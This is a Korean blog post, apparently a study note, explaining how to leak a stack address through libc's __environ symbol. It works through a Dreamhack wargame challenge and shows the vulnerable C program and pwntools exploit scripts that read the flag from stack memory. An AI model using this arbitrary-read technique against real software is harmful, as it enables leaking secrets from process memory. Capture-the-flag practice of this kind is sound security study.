반응형
Recent Posts
Recent Comments
Link
«   2024/07   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

ZZoMb1E_PWN

[PWNABLE] environ stack leak 본문

STUDY/PWNABLE_AMD64

[PWNABLE] environ stack leak

ZZoMb1E 2024. 6. 24. 21:51
728x90
반응형

__environ을 이용한 스택 주소 leak

__environ은 환경 변수 중 하나로 시스템의 정보를 갖고 있는 변수이다.

(execve 계열의 함수가 참조한다.)

libc파일에서 심볼을 찾을 수 있다.

 

environ에 들어있는 값을 확인한 모습이다.

 

해당 부분들이 stack 영역에 속하는 것 또한 알 수 있다.

 

전체적인 내용이다.

_init()이 실행될 때 호출되어 사용되는 듯 하다.

 


dreamhack - __envirion

#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>

void sig_handle() {
  exit(0);
}
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  signal(SIGALRM, sig_handle);
  alarm(5);
}

void read_file() {
  char file_buf[4096];

  int fd = open("./flag", O_RDONLY);
  read(fd, file_buf, sizeof(file_buf) - 1);
  close(fd);
}
int main() {
  char buf[1024];
  long addr;
  int idx;

  init();
  read_file();

  printf("stdout: %p\n", stdout);

  while (1) {
    printf("> ");
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        printf("Addr: ");
        scanf("%ld", &addr);
        printf("%s", (char *)addr);
        break;
      default:
        break;
    }
  }
  return 0;
}

 

파일을 실행하면 아래와 같이 stdout 라이브러리 주소를 출력하고 있다.

그리고 반복해서 addr이라는 변수의 주소에 값을 입력한다.

 

stdout의 주소를 leak해주었으므로 libc_base를 구할 수 있다.

이를 통해 __environ까지 구할 수 있다.

 

계속해서 addr이 가리키는 값을 출력을 해주므로 해당 주소가 ./flag를 가리키게 만들어야 한다.

from pwn import*

p = process(['./environ'],env={'LD_PRELOAD':'./libc.so.6'})
e = ELF('./environ')
libc = ELF('./libc.so.6')

context.log_level = 'debug'

p.recvuntil(b": ")
stdout = int(p.recvn(14),16)

stdout_offset = libc.sym['_IO_2_1_stdout_']
environ_offset = libc.sym['__environ']

libc_base = stdout-stdout_offset
environ = libc_base + environ_offset

print("stdout@add : ",hex(stdout))
print("libc_base@add : ",hex(libc_base))
print("environ@add : ", hex(environ))
p.interactive()

libc_base와 environ의 주소를 구하는 페이로드 초안이다.

 

이제 flag파일을 읽는 read_file 함수를 이용하여 스택 간격을 구해야 한다.

 

파일을 열고 내용을 읽는 부분이다.

읽을 대상이 rsi, rcx 레지스터에 들어가 있는 것을 볼 수 있다.

현재 확인된 정보이다.

높은 주소에서 낮은 주소를 빼면 0x1568이라는 차이가 나온다.

 

먼저 구한 environ의 주소에 들어있는 값을 leak하고,

rsi에 있는 주소를 가리키 설정해주어야 한다.

 

그렇게 수정한 코드이다.

from pwn import*

p = process(['./environ'],env={'LD_PRELOAD':'./libc.so.6'})
e = ELF('./environ')
libc = ELF('./libc.so.6')

context.log_level = 'debug'

p.recvuntil(b": ")
stdout = int(p.recvn(14),16)

stdout_offset = libc.sym['_IO_2_1_stdout_']
environ_offset = libc.sym['__environ']

libc_base = stdout-stdout_offset
environ = libc_base + environ_offset

print("stdout@add : ",hex(stdout))
print("libc_base@add : ",hex(libc_base))
print("environ@add : ", hex(environ))

p.sendlineafter(b">",b"1")
p.sendlineafter(b":",str(environ))
p.recvuntil('\x20')

environ_val = u64(p.recvn(6).ljust(8,b'\x00'))
print("environ_val : ",hex(environ_val))

flag_add = environ_val - 0x1568
print("flag_add : ",flag_add)

p.sendlineafter(b">",b"1")
p.sendlineafter(b":",str(flag_add))
p.interactive()

실행하면 flag가 출력되는 것을 볼 수 있다.

 

728x90
반응형

'STUDY > PWNABLE_AMD64' 카테고리의 다른 글

[PWNABLE] FSOP  (0) 2024.06.24
[PWNABLE] rtld global  (0) 2024.06.24
[PWNABLE] Stack Pivoting  (0) 2024.06.24
[PWNABLE] FPO  (0) 2024.06.24
[PWNABLE] Out Of Bounds  (0) 2024.06.24